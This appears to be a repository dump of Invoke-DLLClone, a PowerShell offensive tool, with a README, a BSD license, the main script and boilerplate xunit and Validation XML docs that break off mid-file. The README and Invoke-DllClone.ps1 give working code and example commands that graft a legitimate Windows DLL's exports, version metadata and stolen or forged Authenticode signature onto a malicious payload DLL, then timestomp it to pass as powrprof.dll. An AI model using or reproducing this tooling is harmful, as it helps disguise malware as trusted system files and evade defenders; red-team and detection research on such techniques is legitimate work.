├── src
├── Koppeling
│ ├── PeNet.dll
│ ├── NetClone.exe
│ ├── NetClone.pdb
│ ├── CommandLine.dll
│ ├── PeNet.Asn1.dll
│ ├── Validation.dll
│ ├── xunit.core.dll
│ ├── Xunit.SkippableFact.dll
│ ├── xunit.abstractions.dll
│ ├── xunit.execution.desktop.dll
│ ├── System.Security.Cryptography.Pkcs.dll
│ ├── NetClone.exe.config
│ ├── Xunit.SkippableFact.xml
│ ├── Validation.xml
│ ├── xunit.abstractions.xml
│ └── xunit.core.xml
├── LazySign
│ ├── makecert.exe
│ ├── pvk2pfx.exe
│ └── signtool.exe
├── SigThief
│ └── sigthief.exe
├── rh_base_script.txt
└── Resource_Hacker
│ └── ResourceHacker.exe
├── LICENSE
├── README.md
└── Invoke-DllClone.ps1
/src/Koppeling/PeNet.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/PeNet.dll
--------------------------------------------------------------------------------
/src/LazySign/makecert.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/LazySign/makecert.exe
--------------------------------------------------------------------------------
/src/LazySign/pvk2pfx.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/LazySign/pvk2pfx.exe
--------------------------------------------------------------------------------
/src/LazySign/signtool.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/LazySign/signtool.exe
--------------------------------------------------------------------------------
/src/SigThief/sigthief.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/SigThief/sigthief.exe
--------------------------------------------------------------------------------
/src/Koppeling/NetClone.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/NetClone.exe
--------------------------------------------------------------------------------
/src/Koppeling/NetClone.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/NetClone.pdb
--------------------------------------------------------------------------------
/src/Koppeling/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/CommandLine.dll
--------------------------------------------------------------------------------
/src/Koppeling/PeNet.Asn1.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/PeNet.Asn1.dll
--------------------------------------------------------------------------------
/src/Koppeling/Validation.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/Validation.dll
--------------------------------------------------------------------------------
/src/Koppeling/xunit.core.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/xunit.core.dll
--------------------------------------------------------------------------------
/src/rh_base_script.txt:
--------------------------------------------------------------------------------
1 | [FILENAMES]
2 | Exe= AAA
3 | SaveAs= BBB
4 | Log= CCC
5 | [COMMANDS]
6 | -addoverwrite DDD ,,,
--------------------------------------------------------------------------------
/src/Koppeling/Xunit.SkippableFact.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/Xunit.SkippableFact.dll
--------------------------------------------------------------------------------
/src/Koppeling/xunit.abstractions.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/xunit.abstractions.dll
--------------------------------------------------------------------------------
/src/Resource_Hacker/ResourceHacker.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Resource_Hacker/ResourceHacker.exe
--------------------------------------------------------------------------------
/src/Koppeling/xunit.execution.desktop.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/xunit.execution.desktop.dll
--------------------------------------------------------------------------------
/src/Koppeling/System.Security.Cryptography.Pkcs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/System.Security.Cryptography.Pkcs.dll
--------------------------------------------------------------------------------
/src/Koppeling/NetClone.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2021, Jean-François Maes
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Invoke-DLLClone
2 | Koppeling x Metatwin x LazySign
3 |
4 | Invoke-DllClone combines two projects called Koppeling and Invoke-MetaTwin.
5 | Invoke-DllClone can copy metadata and the AuthenticodeSignature from a source binary and into a target binary
6 | It also uses koppeling to clone the export table from a refference dll onto a malicious DLL post-build using NetClone
7 | Finally, it also supports random fake signatures using LazySign logic.
8 |
9 |
10 | All Credits go to:
11 | * Joe Vest (vestjoe)
12 | * Nick Landers (monoxgas)
13 |
14 | And the makers of SigThief
15 |
16 | All I did was adapt metatwin to facilitate koppeling :)
17 |
18 | Feel free to place the dependencies in src yourself if you do not trust me.
19 | Dependencies are:
20 | * NetClone
21 | * Resource Hacker
22 | * SigThief (optional)
23 | * makecert.exe (optional)
24 | * pvk2pfx.exe (optional)
25 | * signtool.exe (optional)
26 |
27 | **Make Sure you CD into the Invoke-DllClone directory first, the script uses relative paths**
28 |
29 | ```
30 | Forward all exports of powrprof and take over the metadata except the signature
31 | Example Usage: Invoke-DllClone -Source C:\Windows\System32\powrprof.dll -Target C:\Malware\Evilpayload.dll -Output C:\Malware\powrprof.dll
32 |
33 | Forward all exports of powrprof and take over the metadata including the signature (will obviously no longer be valid)
34 | Example Usage: Invoke-DllClone -Source C:\Windows\System32\powrprof.dll -Target C:\Malware\Evilpayload.dll -Output C:\Malware\powrprof.dll -Sign
35 |
36 | Forward all exports of powrprof and take over the metadata fake a random signature (will obviously not be valid)
37 | Example Usage: Invoke-DllClone -Source C:\Windows\System32\powrprof.dll -Target C:\Malware\Evilpayload.dll -Output C:\Malware\powrprof.dll -FakeSign -FakeCompany lolcorp.evil
38 |
39 | ```
40 |
41 |
42 | ```
43 | Example output:
44 | PS G:\testzone\Invoke-DLLClone> Invoke-DllClone -Source C:\Windows\System32\powrprof.dll -Target .\evilpayload.dll -Output powrprof.dll -Sign
45 | Source: C:\Windows\System32\powrprof.dll
46 | Target: .\evilpayload.dll
47 | Output: .\2021-08-24_204139\powrprof.dll
48 | Signed Output: .\2021-08-24_204139\signed_powrprof.dll
49 | ----------------------------------------------
50 | [*] Clones the export table from C:\Windows\System32\powrprof.dll onto .\evilpayload.dll... using NetClone
51 | [+] Done.
52 | [*] Extracting resources from powrprof.dll
53 | [*] Copying resources from powrprof.dll to .\2021-08-24_204139\powrprof.dll
54 | [*] Extracting and adding signature ...
55 |
56 | [+] Results
57 | -----------------------------------------------
58 | [+] Metadata
59 |
60 |
61 | VersionInfo : File: G:\testzone\Invoke-DLLClone\2021-08-24_204139\signed_powrprof.dll
62 | InternalName: POWRPROF
63 | OriginalFilename: POWRPROF.DLL
64 | FileVersion: 10.0.19041.546 (WinBuild.160101.0800)
65 | FileDescription: Power Profile Helper DLL
66 | Product: Microsoft® Windows® Operating System
67 | ProductVersion: 10.0.19041.546
68 | Debug: False
69 | Patched: False
70 | PreRelease: False
71 | PrivateBuild: False
72 | SpecialBuild: False
73 | Language: English (United States)
74 |
75 |
76 |
77 |
78 | [+] Digital Signature
79 |
80 |
81 | SignatureType : Authenticode
82 | SignerCertificate : [Subject]
83 | CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
84 |
85 | [Issuer]
86 | CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
87 |
88 | [Serial Number]
89 | 330000026551AE1BBD005CBFBD000000000265
90 |
91 | [Not Before]
92 | 3/4/2020 7:30:38 PM
93 |
94 | [Not After]
95 | 3/3/2021 7:30:38 PM
96 |
97 | [Thumbprint]
98 | E168609353F30FF2373157B4EB8CD519D07A2BFF
99 |
100 | Status : HashMismatch
101 |
102 |
103 |
104 | PS G:\testzone\Invoke-DLLClone>
105 |
106 |
107 |
108 | ```
109 |
--------------------------------------------------------------------------------
/Invoke-DllClone.ps1:
--------------------------------------------------------------------------------
1 | Function Invoke-DllClone {
2 |
3 | <#
4 | .SYNOPSIS
5 |
6 | Invoke-DllClone combines two projects called Koppeling and Invoke-MetaTwin.
7 | Invoke-DllClone can copy metadata and the AuthenticodeSignature from a source binary and into a target binary
8 | It also uses koppeling to clone the export table from a refference dll onto a malicious DLL post-build using NetClone
9 | Finally, it also supports random fake signatures using LazySign logic.
10 |
11 | Function: Invoke-DllClone
12 | Author: Jean-Francois Maes (@jfmaes), Joe Vest, monoxgas
13 | License: BSD 3-Clause
14 | Required Dependencies: ResourceHacker.exe, NetClone.exe
15 | Optional Dependencies: SigThief,makecert.exe,pvk2pfx.exe,signtool.exe
16 |
17 | .DESCRIPTION
18 | Invoke-DllClone combines two projects called Koppeling and Invoke-MetaTwin.
19 | Invoke-DllClone can copy metadata and the AuthenticodeSignature from a source binary and into a target binary
20 | It also uses koppeling to clone the export table from a refference dll onto a malicious DLL post-build using NetClone
21 | Finally, it also supports random fake signatures using LazySign logic.
22 | Note: SigThief and Resource Hacker may not detect valid metadata or digital signature. This project may switch to a different tool set, but for now, be aware of potential limitations.
23 | Note2: Feel free to compile koppeling yourself and put it in the src directory, same goes with Resoure Hacker and SigThief and the other dependencies really.
24 |
25 | .LINK
26 | https://github.com/monoxgas/Koppeling
27 | https://github.com/threatexpress/metatwin
28 |
29 |
30 | .PARAMETER Source
31 | Path to source binary (where you want to copy the resources from)
32 |
33 | .PARAMETER Target
34 | Path to target binary (where you want the resources copied to)
35 |
36 | .PARAMETER Sign
37 | Switch to perform AuthenticodeSignature copying via SigThief
38 |
39 | #>
40 |
41 | Param (
42 | [ValidateScript({Test-Path $_ })]
43 | [Parameter(Mandatory=$true,
44 | HelpMessage='Source binary')]
45 | $Source = '',
46 |
47 | [ValidateScript({Test-Path $_ })]
48 | [Parameter(Mandatory=$true,
49 | HelpMessage='Target binary')]
50 | $Target = '',
51 |
52 | [Parameter(Mandatory=$false,
53 | HelpMessage='output binary')]
54 | $Output = '',
55 |
56 | [Parameter(Mandatory=$false,
57 | HelpMessage='Include digital signature')]
58 | [Switch]$Sign,
59 |
60 | [Parameter(Mandatory=$false,
61 | HelpMessage='Use LazySign to create a new fake sig')]
62 | [Switch]$FakeSign,
63 |
64 | [Parameter(Mandatory=$false,
65 | HelpMessage='Use LazySign to create a new fake sig')]
66 | $FakeCompany = ''
67 |
68 | )
69 |
70 | Set-StrictMode -Version 2
71 | # Binaries
72 | $resourceHackerBin = ".\src\Resource_Hacker\ResourceHacker.exe"
73 | $resourceHacker_base_script = ".\src\rh_base_script.txt"
74 | $sigthiefBin = ".\src\SigThief\sigthief.exe"
75 | $netcloneBin = ".\src\Koppeling\NetClone.exe"
76 | $makecertBin = ".\src\LazySign\makecert.exe"
77 | $pvk2pfxBin = ".\src\LazySign\pvk2pfx.exe"
78 | $signtoolBin = ".\src\LazySign\signtool.exe"
79 |
80 |
81 | If ((Test-Path $resourceHackerBin) -ne $True)
82 | {
83 | Write-Output "[!] Missing Dependency: $resourceHackerBin"
84 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting"
85 | break
86 | }
87 |
88 | If ((Test-Path $sigthiefBin) -ne $True)
89 | {
90 | Write-Output "[!] Missing Dependency: $sigthiefBin"
91 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting."
92 | break
93 | }
94 |
95 |
96 | If ((Test-Path $netcloneBin) -ne $True)
97 | {
98 | Write-Output "[!] Missing Dependency: $netcloneBin"
99 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting."
100 | break
101 | }
102 |
103 |
104 | if($FakeSign){
105 | If ((Test-Path $makecertBin) -ne $True)
106 | {
107 | Write-Output "[!] Missing Dependency: $makecertBin"
108 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting."
109 | break
110 | }
111 |
112 | If ((Test-Path $pvk2pfxBin) -ne $True)
113 | {
114 | Write-Output "[!] Missing Dependency: $pvk2pfxBin"
115 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting."
116 | break
117 | }
118 |
119 | If ((Test-Path $signtoolBin) -ne $True)
120 | {
121 | Write-Output "[!] Missing Dependency: $signtoolBin"
122 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting."
123 | break
124 | }
125 |
126 | }
127 |
128 | # Basic file timestomping, maybe redundant since it will also need to be performed on target
129 | Function Invoke-TimeStomp ($source, $dest) {
130 | $source_attributes = Get-Item $source
131 | $dest_attributes = Get-Item $dest
132 | $dest_attributes.CreationTime = $source_attributes.CreationTime
133 | $dest_attributes.LastAccessTime = $source_attributes.LastAccessTime
134 | $dest_attributes.LastWriteTime = $source_attributes.LastWriteTime
135 | }
136 |
137 |
138 | $timestamp = Get-Date -f yyyy-MM-dd_HHmmss
139 | $log_file_base = (".\" + $timestamp)
140 | $source_binary_filename = Split-Path $Source -Leaf -Resolve
141 | $source_binary_filepath = $Source
142 | $target_binary_filename = Split-Path $Target -Leaf -Resolve
143 | $target_binary_filepath = $Target
144 | $source_resource = (".\" + $timestamp + "\" + $source_binary_filename + ".res")
145 |
146 |
147 | if(-Not $Output){
148 | $target_saveas = (".\" + $timestamp + "\"+ $target_binary_filename)
149 | $target_saveas_signed = (".\" + $timestamp + "\" + "signed_" + $target_binary_filename)
150 | }
151 | else{
152 | $target_saveas = (".\" + $timestamp + "\" + $Output)
153 | $target_saveas_signed = (".\" + $timestamp + "\" +"signed_" + $Output)
154 | }
155 |
156 |
157 |
158 |
159 | $resourcehacker_script = (".\"+ $timestamp + "_rh_script.txt")
160 |
161 | New-Item ".\$timestamp" -type directory | out-null
162 | Write-Output "Source: $source_binary_filepath"
163 | Write-Output "Target: $target_binary_filepath"
164 | Write-Output "Output: $target_saveas"
165 | Write-Output "Signed Output: $target_saveas_signed"
166 | Write-Output "---------------------------------------------- "
167 |
168 | # Clean up existing ResourceHacker.exe that may be running
169 | Stop-Process -Name ResourceHacker -ea "SilentlyContinue"
170 | # Extract resources using Resource Hacker from source
171 | Write-Output "[*] Extracting resources from $source_binary_filename "
172 | $log_file = ($log_file_base + "\"+ $timestamp+"_extract.log")
173 | $arg = "-open $source_binary_filepath -action extract -mask ,,, -save $source_resource -log $log_file"
174 | start-process -FilePath $resourceHackerBin -ArgumentList $arg -NoNewWindow -Wait
175 |
176 | # Check if extract was successful
177 | if (Select-String -Encoding Unicode -path $log_file -pattern "Failed") {
178 | Write-Output "[!] Failed to extract Metadata from $source_binary_filepath"
179 | Write-Output " Perhaps, try a differenct source file. Exiting..."
180 | break
181 | }
182 |
183 | # Build Resource Hacker Script
184 | $log_file = ($log_file_base + "\"+ $timestamp+ "_add.log")
185 | (Get-Content $resourcehacker_base_script) -replace('AAA', $target) | Set-Content $resourcehacker_script
186 | (Get-Content $resourcehacker_script) -replace('BBB', $target_saveas) | Set-Content $resourcehacker_script
187 | (Get-Content $resourcehacker_script) -replace('CCC', $log_file) | Set-Content $resourcehacker_script
188 | (Get-Content $resourcehacker_script) -replace('DDD', $source_resource) | Set-Content $resourcehacker_script
189 |
190 | # Copy resources using Resource Hacker
191 | "[*] Copying resources from $source_binary_filename to $target_saveas"
192 |
193 | $arg = "-script $resourcehacker_script"
194 | start-process -FilePath $resourceHackerBin -ArgumentList $arg -NoNewWindow -Wait
195 | Remove-Item $resourcehacker_script
196 |
197 | # start the export table cloning using koppeling
198 | Write-Output "[*] Clones the export table from $source onto $target_saveas... using NetClone "
199 | $arg = "--target $target_saveas --reference $source --output $target_saveas"
200 | Start-Process -FilePath $netcloneBin -ArgumentList $arg -Wait
201 | Start-Sleep 1
202 |
203 |
204 | if ($Sign) {
205 |
206 | # Copy signature from source and add to target
207 | "[*] Extracting and adding signature ..."
208 | $arg = "-i $source_binary_filepath -t $target_saveas -o $target_saveas_signed"
209 | $proc = start-process -FilePath $sigthiefBin -ArgumentList $arg -Wait -PassThru
210 | #$proc | Select * |Format-List
211 | #$proc.ExitCode
212 | if ($proc.ExitCode -ne 0) {
213 | Write-Output "[-] Cannot extract signature, skipping ..."
214 | $Sign = $False
215 | }
216 | }
217 |
218 | # Display Results
219 | Start-Sleep .5
220 | Write-Output "`n[+] Results"
221 | Write-Output " -----------------------------------------------"
222 |
223 |
224 | if ($Sign) {
225 |
226 | Write-Output "[+] Metadata"
227 | Get-Item $target_saveas_signed | Select VersionInfo | Format-List
228 |
229 | Write-Output "[+] Digital Signature"
230 | Get-AuthenticodeSignature (gi $target_saveas_signed) | select SignatureType,SignerCertificate,Status | fl
231 | Invoke-TimeStomp $source_binary_filepath $target_saveas_signed
232 | }
233 |
234 | elseif($FakeSign) {
235 | Write-Output "[+] Starting LazySign..."
236 | if(-Not $FakeCompany)
237 | {
238 | $FakeCompany = Read-Host -Prompt "Please Type in a company name you would like to fake a signature for"
239 | }
240 | else
241 | {
242 | Write-Output "using " + $FakeCompany + " to fake a signature..."
243 | }
244 | $arg = "-len 2048 " + $FakeCompany+".cer " + "-n ""CN="""+$FakeCompany + " -r -sv " + $FakeCompany+".pvk"
245 | Start-Process -FilePath $makecertBin -Wait -NoNewWindow -ArgumentList $arg
246 |
247 | $arg = "-pvk " + $FakeCompany +".pvk" + " -spc " + $FakeCompany+".cer" +" -pfx " + $FakeCompany+".pfx"
248 | Start-Process -FilePath $pvk2pfxBin -Wait -NoNewWindow -ArgumentList $arg
249 |
250 | $arg = "sign /f " + ".\"+$FakeCompany+".pfx /t http://timestamp.comodoca.com/authenticode " + $target_saveas
251 | Start-Process -FilePath $signtoolBin -wait -NoNewWindow -ArgumentList $arg
252 | Move-item $target_saveas $target_saveas_signed
253 |
254 | Remove-Item $FakeCompany".pfx"
255 | Remove-Item $FakeCompany".cer"
256 | Remove-Item $FakeCompany".pvk"
257 |
258 | Write-Output "[+] Metadata"
259 | Get-Item $target_saveas_signed | Select VersionInfo | Format-List
260 | Write-Output "[+] Digital Signature"
261 | Get-AuthenticodeSignature (gi $target_saveas_signed) | select SignatureType,SignerCertificate | fl
262 | Invoke-TimeStomp $source_binary_filepath $target_saveas_signed
263 | }
264 |
265 |
266 | else {
267 | Write-Output "[+] Metadata"
268 | Get-Item $target_saveas | Select VersionInfo | Format-List
269 | Write-Output "[+] Digital Signature"
270 | Write-Output " Signature not added ... "
271 | Invoke-TimeStomp $source_binary_filepath $target_saveas
272 | }
273 |
274 | }
--------------------------------------------------------------------------------
/src/Koppeling/Xunit.SkippableFact.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Xunit.SkippableFact
5 |
6 |
7 |
8 |
9 | Transforms test methods into test cases.
10 |
11 |
12 |
13 |
14 | The diagnostic message sink provided to the constructor.
15 |
16 |
17 |
18 |
19 | Initializes a new instance of the class.
20 |
21 | The message sink used to send diagnostic messages
22 |
23 |
24 |
25 |
26 |
27 |
28 | A test case that interprets as a result.
29 |
30 |
31 |
32 |
33 | Initializes a new instance of the class,
34 | to be called only by the deserializer.
35 |
36 |
37 |
38 |
39 | Initializes a new instance of the class.
40 |
41 | An array of the full names of the exception types which should be interpreted as a skipped test-.
42 | The diagnostic message sink.
43 | The preferred test name derivation.
44 | The test method.
45 | The test method arguments.
46 |
47 |
48 |
49 |
50 |
51 |
52 | Intercepts test results on the message bus and re-interprets
53 | as a result.
54 |
55 |
56 |
57 |
58 | The original message bus to which all messages should be forwarded.
59 |
60 |
61 |
62 |
63 | Initializes a new instance of the class.
64 |
65 | The original message bus to which all messages should be forwarded.
66 | An array of the full names of the exception types which should be interpreted as a skipped test-.
67 |
68 |
69 |
70 | Gets the number of tests that have been dynamically skipped.
71 |
72 |
73 |
74 |
75 | Disposes the inner message bus.
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 | Transforms test theories into test cases.
84 |
85 |
86 |
87 |
88 | The diagnostic message sink provided to the constructor.
89 |
90 |
91 |
92 |
93 | The complex theory discovery process that we wrap.
94 |
95 |
96 |
97 |
98 | Initializes a new instance of the class.
99 |
100 | The message sink used to send diagnostic messages
101 |
102 |
103 |
104 |
105 |
106 |
107 | A theory test case that will wrap the message bus.
108 |
109 |
110 |
111 |
112 | Initializes a new instance of the class,
113 | to be called only by the deserializer.
114 |
115 |
116 |
117 |
118 | Initializes a new instance of the class.
119 |
120 | An array of the full names of the exception types which should be interpreted as a skipped test-.
121 | The diagnostic message sink.
122 | The preferred test name derivation.
123 | The test method.
124 |
125 |
126 |
127 |
128 |
129 |
130 | Static methods for dynamically skipping tests identified with
131 | the .
132 |
133 |
134 |
135 |
136 | Throws an exception that results in a "Skipped" result for the test.
137 |
138 | The condition that must evaluate to true for the test to be skipped.
139 | The explanation for why the test is skipped.
140 |
141 |
142 |
143 | Throws an exception that results in a "Skipped" result for the test.
144 |
145 | The condition that must evaluate to false for the test to be skipped.
146 | The explanation for why the test is skipped.
147 |
148 |
149 |
150 | The exception to throw to register a skipped test.
151 |
152 |
153 |
154 |
155 | Initializes a new instance of the class.
156 |
157 | The reason the test is skipped.
158 |
159 |
160 |
161 | Attribute that is applied to a method to indicate that it is a fact that should
162 | be run by the test runner.
163 | The test may produce a "skipped test" result by calling
164 | or otherwise throwing a .
165 |
166 |
167 |
168 |
169 | Initializes a new instance of the class.
170 |
171 |
172 | Exception types that, if thrown, should cause the test to register as skipped.
173 |
174 |
175 |
176 |
177 | Marks a test method as being a data theory. Data theories are tests which are
178 | fed various bits of data from a data source, mapping to parameters on the test
179 | method. If the data source contains multiple rows, then the test method is executed
180 | multiple times (once with each data row). Data is provided by attributes which
181 | derive from Xunit.Sdk.DataAttribute (notably, Xunit.InlineDataAttribute and Xunit.MemberDataAttribute).
182 | The test may produce a "skipped test" result by calling
183 | or otherwise throwing a .
184 |
185 |
186 |
187 |
188 | Initializes a new instance of the class.
189 |
190 |
191 | Exception types that, if thrown, should cause the test to register as skipped.
192 |
193 |
194 |
195 |
196 |
--------------------------------------------------------------------------------
/src/Koppeling/Validation.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Validation
5 |
6 |
7 |
8 |
9 | Common runtime checks that throw public error exceptions upon failure.
10 |
11 |
12 | Contains the inner exception thrown by Assumes.
13 |
14 |
15 |
16 |
17 | Throws an exception if the specified value is null.
18 |
19 | The type of value to test.
20 | The value.
21 |
22 |
23 |
24 | Throws an exception if the specified value is null or empty.
25 |
26 | The value.
27 |
28 |
29 |
30 | Throws an exception if the specified value is null or empty.
31 |
32 | The type of value to test.
33 |
34 |
35 |
36 | Throws an exception if the specified value is null or empty.
37 |
38 | The type of value to test.
39 | The values.
40 |
41 |
42 |
43 | Throws an exception if the specified value is not null.
44 |
45 | The type of value to test.
46 | The value.
47 |
48 |
49 |
50 | Throws an exception if the specified object is not of a given type.
51 |
52 | The type the value is expected to be.
53 | The value to test.
54 |
55 |
56 |
57 | Throws an public exception if a condition evaluates to true.
58 |
59 |
60 |
61 |
62 | Throws an public exception if a condition evaluates to true.
63 |
64 |
65 |
66 |
67 | Throws an public exception if a condition evaluates to true.
68 |
69 |
70 |
71 |
72 | Throws an public exception if a condition evaluates to false.
73 |
74 |
75 |
76 |
77 | Throws an public exception if a condition evaluates to false.
78 |
79 |
80 |
81 |
82 | Throws an public exception if a condition evaluates to false.
83 |
84 |
85 |
86 |
87 | Throws an public exception.
88 |
89 | Nothing. This method always throws. But the signature allows calling code to "throw" this method for C# syntax reasons.
90 |
91 |
92 |
93 | Verifies that a value is not null, and throws an exception about a missing service otherwise.
94 |
95 | The interface of the imported part.
96 |
97 |
98 |
99 | Throws an public exception.
100 |
101 | Nothing, as this method always throws. The signature allows for "throwing" Fail so C# knows execution will stop.
102 |
103 |
104 |
105 | Throws an public exception.
106 |
107 | Nothing, as this method always throws. The signature allows for "throwing" Fail so C# knows execution will stop.
108 |
109 |
110 |
111 | Helper method that formats string arguments.
112 |
113 | The formatted strings.
114 |
115 |
116 |
117 | The exception that is thrown when an internal assumption failed.
118 |
119 |
120 |
121 |
122 | Initializes a new instance of the class.
123 |
124 |
125 |
126 |
127 | Initializes a new instance of the class.
128 |
129 |
130 |
131 |
132 | Show the assert if showAssert==true.
133 |
134 | Whether to show the assert.
135 |
136 | The assertion dialog may yet be suppressed if
137 | ((DefaultTraceListener)System.Diagnostics.Trace.Listeners["Default"]).AssertUiEnabled == false
138 |
139 |
140 |
141 |
142 | A disposable object that also provides a safe way to query its disposed status.
143 |
144 |
145 |
146 |
147 | Gets a value indicating whether this instance has been disposed.
148 |
149 | true if this instance has been disposed.
150 |
151 |
152 |
153 | Common utility methods used by the various error detection and reporting classes.
154 |
155 |
156 |
157 |
158 | Trims away a given surrounding type, returning just the generic type argument,
159 | if the given type is in fact a generic type with just one type argument and
160 | the generic type matches a given wrapper type. Otherwise, it returns the original type.
161 |
162 | The type to trim, or return unmodified.
163 | The SomeType<> generic type definition to trim away from if it is present.
164 | , if it is not a generic type instance of ; otherwise the type argument.
165 |
166 |
167 |
168 | Helper method that formats string arguments.
169 |
170 | The unformatted string.
171 | The formatting arguments.
172 | The formatted string.
173 |
174 |
175 |
176 | Common runtime checks that trace messages and invoke an assertion failure,
177 | but does *not* throw exceptions.
178 |
179 |
180 |
181 |
182 | Verifies that a value is not null, and reports an error about a missing MEF component otherwise.
183 |
184 | The interface of the imported part.
185 |
186 |
187 |
188 | Reports an error if a condition evaluates to true.
189 |
190 | if set to true, an error is reported.
191 | The formatted message.
192 |
193 |
194 |
195 | Reports an error if a condition does not evaluate to true.
196 |
197 | if set to false, an error is reported.
198 | The formatted message.
199 |
200 |
201 |
202 | Reports an error if a condition does not evaluate to true.
203 |
204 | if set to false, an error is reported.
205 | The unformatted message.
206 | The only formatting argument.
207 |
208 |
209 |
210 | Reports an error if a condition does not evaluate to true.
211 |
212 | if set to false, an error is reported.
213 | The unformatted message.
214 | The first formatting argument.
215 | The second formatting argument.
216 |
217 |
218 |
219 | Reports an error if a condition does not evaluate to true.
220 |
221 | if set to false, an error is reported.
222 | The unformatted message.
223 | The formatting args.
224 |
225 |
226 |
227 | Reports a certain failure.
228 |
229 | The message.
230 |
231 |
232 |
233 | Reports a certain failure.
234 |
235 |
236 |
237 |
238 | Common runtime checks that throw ArgumentExceptions upon failure.
239 |
240 |
241 |
242 |
243 | Throws an exception if the specified parameter's value is null.
244 |
245 | The type of the parameter.
246 | The value of the argument.
247 | The name of the parameter to include in any thrown exception.
248 | The value of the parameter.
249 | Thrown if is null
250 |
251 |
252 |
253 | Throws an exception if the specified parameter's value is IntPtr.Zero.
254 |
255 | The value of the argument.
256 | The name of the parameter to include in any thrown exception.
257 | The value of the parameter.
258 | Thrown if is IntPtr.Zero
259 |
260 |
261 |
262 | Throws an exception if the specified parameter's value is null.
263 |
264 | The value of the argument.
265 | The name of the parameter to include in any thrown exception.
266 | Thrown if is null
267 |
268 | This method allows async methods to use Requires.NotNull without having to assign the result
269 | to local variables to avoid C# warnings.
270 |
271 |
272 |
273 |
274 | Throws an exception if the specified parameter's value is null.
275 |
276 | The type of the return value of the task.
277 | The value of the argument.
278 | The name of the parameter to include in any thrown exception.
279 | Thrown if is null
280 |
281 | This method allows async methods to use Requires.NotNull without having to assign the result
282 | to local variables to avoid C# warnings.
283 |
284 |
285 |
286 |
287 | Throws an exception if the specified parameter's value is null.
288 |
289 | The type of the parameter.
290 | The value of the argument.
291 | The name of the parameter to include in any thrown exception.
292 | The value of the parameter.
293 | Thrown if is null
294 |
295 | This method exists for callers who themselves only know the type as a generic parameter which
296 | may or may not be a class, but certainly cannot be null.
297 |
298 |
299 |
300 |
301 | Throws an exception if the specified parameter's value is null or empty.
302 |
303 | The value of the argument.
